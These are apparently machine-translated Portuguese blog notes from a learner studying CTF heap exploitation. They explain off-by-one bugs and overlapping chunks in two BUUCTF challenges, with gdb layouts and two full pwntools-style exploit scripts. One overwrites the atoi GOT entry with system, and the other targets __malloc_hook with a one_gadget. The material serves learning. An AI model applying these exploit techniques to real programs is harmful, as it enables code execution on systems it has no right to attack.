Compartilhamento de tecnologia

Sobre aprendizagem individual

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

A base do pwn ainda é muito superficial. Apenas registro um pouco da minha experiência de aprendizado.
À medida que o estudo avança, pontos de conhecimento e perguntas adicionais serão adicionados.

Pontos de conhecimento

Excelente material de estudo

Resumo do aprendizado sobre off por null |

Extensão e sobreposição de pedaços | ctfwiki

Um pouco de compreensão

Intimamente relacionado ao off-by-one está a extensão e sobreposição de pedaços mencionados acima.
Isso geralmente é chamado de "blocos sobrepostos".
Por que criar blocos sobrepostos?
Por exemplo, se quisermos reescrever os campos de cabeçalho de um pedaço, ou seja, os segmentos prev_size e size, definitivamente não poderemos alterá-los aplicando diretamente.
Uma ideia é construir um pedaço falso mal colocado. Outra ideia mais simples é criar pedaços sobrepostos. Modificando o bit de tamanho, a parte de dados do usuário de um pedaço grande inclui o cabeçalho da parte pequena que queremos modificar.

exemplo

[buu] hitcontraining_heapcreator

tema

Acho que esta pergunta é um bom exemplo de como usar o off-by-one. As questões não são muito difíceis e os pontos de uso são bastante inteligentes.

Descompile para encontrar brechas,
imagemmmmmmmmmmmmmmmmmmmmmmm
Há um off-by-one artificial aqui, e mais um byte pode ser escrito aqui.

Voltando à atribuição de tópicos,imagemmmmmmmmmmmmmmmmmmmmmmm
Primeiro, um pedaço de tamanho 0x10 é alocado para armazenar algumas informações e, em seguida, um pedaço é alocado para conteúdo.
Ficará muito claro se você observar a depuração do gdb aqui.

Por exemplo, o layout do bloco heap depois de add(0x28,'0'),add(0x10,'1')
imagemmmmmmmmmmmmmmmmmmmmmmm

Você pode ver que toda vez que adicionamos, primeiro malloc um pedaço que armazena informações de bloco de heap em um endereço baixo e, em seguida, malloc um pedaço que armazena conteúdo.

Então notei que as operações de edição e exibição são todas feitas atravésInformações do bloco de heapestrutura para "index", então se quisermos vazar libc, podemos colocar as informações do bloco heap deste pedaço *content O campo é modificado para o endereço da tabela obtida de uma determinada função. Por exemplo, se atoi for usado nesta questão, então atoi_addr será impresso durante o show.

Isso envolve uma situação semelhante no "Pequeno Entendimento" anterior. Não podemos modificar diretamente o conteúdo do pedaço que "armazena as informações do bloco heap", então podemos usar off-by-one de forma mais inteligente para implementar a extensão do bloco heap. .

Por exemplo, se modificarmos assim, isso pode causar a expansão e sobreposição dos blocos de heap.
imagemmmmmmmmmmmmmmmmmmmmmmm

Vamos falar sobre a utilização específica abaixo.

  1. Primeiro, precisamos modificar um bloco heap de "informações de heap de armazenamento"tamanhopapel.
    Esta etapa pode ser alcançada por meio de uma vulnerabilidade pontual na pilha de conteúdo acima dessa pilha de informações.
  2. Em seguida, liberamos o índice do pedaço correspondente a este bloco de heap de informações.
  3. Neste momento, de acordo com a implementação de delete_heap
    imagemmmmmmmmmmmmmmmmmmmmmmm

Tanto o bloco de heap de informações quanto o bloco de heap de conteúdo serão gratuitos, portanto, neste momento, existem compartimentos de dois tamanhos 0x20 e 0x40 em fastbins.

imagemmmmmmmmmmmmmmmmmmmmmmm

  1. Neste momento, adicionamos um pedaço 0x30, e o fastbin 0x40 será aplicado como um bloco de pilha de conteúdo, e um bloco de pilha de informações 0x20 será aplicado, portanto, o bin 0x20 também será aplicado.

imagemmmmmmmmmmmmmmmmmmmmmmm

  1. O ponto chave desta questão é quebloco de informações O tamanho e o conteúdo do pedaço correspondente são determinados! Portanto, o conteúdo do bloco de heap de informações correspondente pode ser substituído na etapa anterior de add(0x30). Dessa forma, o conteúdo pode ser alterado para a tabela obtida do atoi e show(1) pode vazar libc.
  2. Como o endereço do conteúdo de chunk1 foi alterado, edit(1) pode alterar o conteúdo da tabela do atoi para o sistema e então enviar "/bin/shx00" para obter o shell.

Claro, existem alguns detalhes, como a última seleção de tamanho mencionada de 0x18 e 0x28, e a necessidade de reservar o conteúdo da pilha de informações ao modificá-la.tamanhocampos (caso contrário, a edição final não terá tamanho suficiente para ser escrita para você) e assim por diante.

Exp:

atoi_got = elf.got['atoi']

add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak

libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']

edit(1,p64(system))

sla("Your choice :",b"/bin/shx00")


p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

Na verdade, há outro ponto-chave nesta questão, e foi também o ponto que me deixou confuso no início. A adição inicial de chunk0 do EXP do Master ZIKH é 0x18. Na minha prática, alterá-lo para 0x10 ou 0x20 não funcionou, mas alterá-lo para 0x28 funcionou.
A depuração descobriu que quando alterado para 0x10, 0x20, nossos dados do usuário não habilitarão o próximo bloco.tamanho_anteriorde.
imagemmmmmmmmmmmmmmmmmmmmmmm

Ao alocar 0x18, 0x28, etc., o mecanismo ptmalloc2 reutilizará o segmento prev_size de next_chunk.
imagemmmmmmmmmmmmmmmmmmmmmmm

emmm, na verdade, em última análise, ainda não estou familiarizado o suficiente com heap. Afinal, só de olhar a explicação do wiki, são tantos pontos de conhecimento e os detalhes são complicados, dificultando a lembrança. Claro, eu o encontrei em combate real. Será muito melhor depois de depurá-lo e entendê-lo novamente.

[buu] roarctf_2019_easy_pwn

tema

A falha na questão está aqui.imagemmmmmmmmmmmmmmmmmmmmmmm

Quando a2-a1==10 está no if, ou seja, quando o tamanho inserido pela edição é exatamente 10 maior que o tamanho adicionado, há um off-by-one.

Estrutura de alocação aproximada
imagemmmmmmmmmmmmmmmmmmmmmmm

Ou use o segmento bss para armazenar o uso e o uso do pedaço.*content

Ainda podemos usar off-by-one combinado com as características de tamanho 0x-8, reutilizar prev_size para falsificar prev_size e tamanho para acionar mesclagem direta (endereço baixo)
imagemmmmmmmmmmmmmmmmmmmmmmm

Neste momento, você pode ver que a mesclagem é acionada por free(2).
imagemmmmmmmmmmmmmmmmmmmmmmm

Neste momento, se adicionarmos(0x80) e depois mostrar(1), poderemos imprimir o valor de main_arena+88.
imagemmmmmmmmmmmmmmmmmmmmmmm

Meu entendimento é: o add(0x80) aqui é para dividir o unsortedbin, para que o ponteiro fd (main_arena+88) seja movido para o segmento chunk1 que pode ser mostrado.

Neste ponto, o endereço base da libc vazou.
As operações a seguir parecem envolver muitos blocos de heap sobrepostos, então vamos dar uma olhada na depuração passo a passo.
Layout de heap ao vazar libc
imagemmmmmmmmmmmmmmmmmmmmmmm

add(0x68)
imagemmmmmmmmmmmmmmmmmmmmmmm
(Corte um pedaço da caixa não classificada)

free(1)
(fastbin 0x70)
imagemmmmmmmmmmmmmmmmmmmmmmm

edit(2,p64(malloc_hook-0x23))
(Aqui aproveitamos o fato de que o chunk2 de 0x68 solicitado na etapa anterior se sobrepõe ao chunk1 que acabou de ser liberado (o chunk1 foi solicitado no início))
imagemmmmmmmmmmmmmmmmmmmmmmm

add(0x68)
(Solicitando chunk1, na verdade é chunk2)
imagemmmmmmmmmmmmmmmmmmmmmmm

add(0x68)
(Inscreva-se para retornar o fake_chunk em malloc_hook-0x23)
imagemmmmmmmmmmmmmmmmmmmmmmm

Então você precisa usar realloc para ajustar o quadro da pilha e obter o shell.

Assim poderei passar localmente, mas não remotamente.
Depois de olhar o Exp do Mestre ZIKH, preciso usar o local
realloc = libcbase + libc.sym['realloc']Mudar pararealloc = libcbase + 0x846c0
Então você tem que alterar o valor de one_gadget
imagemmmmmmmmmmmmmmmmmmmmmmm

Esses dois one_gadgets têm um deslocamento, não sei por que no momento. Talvez tenha algo a ver com o ajuste do quadro da pilha. (Aprenda mais tarde)

Jogue Exp local:

add(0x80)
add(0x68)
add(0x80)
add(0x10)

free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed)  size:0x91->0x90
edit(1,0x68+10,pl)

free(2) # trigger consolidate
add(0x80)
show(1)

leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)

add(0x68)
free(1)

edit(2,8,p64(malloc_hook-0x23)) # fake_chunk

add(0x68)

add(0x68)

pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)

add(0xFF)


p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39

local:
imagemmmmmmmmmmmmmmmmmmmmmmm

Remotamente:
imagemmmmmmmmmmmmmmmmmmmmmmm


Para resumir, é difícil.